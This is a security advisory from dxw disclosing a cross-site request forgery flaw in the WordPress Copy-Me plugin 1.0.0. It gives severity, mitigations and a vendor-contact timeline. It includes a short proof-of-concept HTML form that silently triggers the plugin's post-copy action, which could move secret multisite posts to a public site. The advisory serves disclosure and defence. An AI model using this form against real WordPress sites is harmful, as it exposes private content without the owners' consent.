WordPress Copy-Me plugin version 1.0.0 suffers from a cross site request forgery vulnerability.
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Details
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Software: copy-me
Version: 1.0.0
Homepage: http://wordpress.org/plugins/copy-me/
Advisory report: https://security.dxw.com/advisories/copy-me-vulnerable-to-csrf-allowing-unauthenticated-attacker-to-copy-posts/
CVE: Awaiting assignment
CVSS: 4.3 (Medium; AV:N/AC:M/Au:N/C:N/I:P/A:N)
Description
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copy-me vulnerable to CSRF allowing unauthenticated attacker to copy posts
Vulnerability
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This plugin does not use nonces. Copying posts couldA allow taking a secret post from a non-public site within a multisite installation and moving it to a public site.
Proof of concept
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Click submit and itall copy post with ID 1 to blog/site with ID 1:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">
<input type=\"text\" name=\"action\" value=\"copyme_copy_item\">
<input type=\"text\" name=\"id\" value=\"1\">
<input type=\"text\" name=\"target\" value=\"1\">
<input type=\"submit\">
</form>
Mitigations
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DisableA the plugin. No fixed version is known.
Disclosure policy
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dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
Timeline
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2016-11-01: Discovered
2016-12-07: Reported to vendor via contact form: http://www.alancesarini.com/en/contact-2/
2016-12-07: Requested CVE
2016-12-21: Vendor has not respondedA after 14 days
2016-12-21: Published
Discovered by dxw:
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Tom Adams
Please visit security.dxw.com for more information.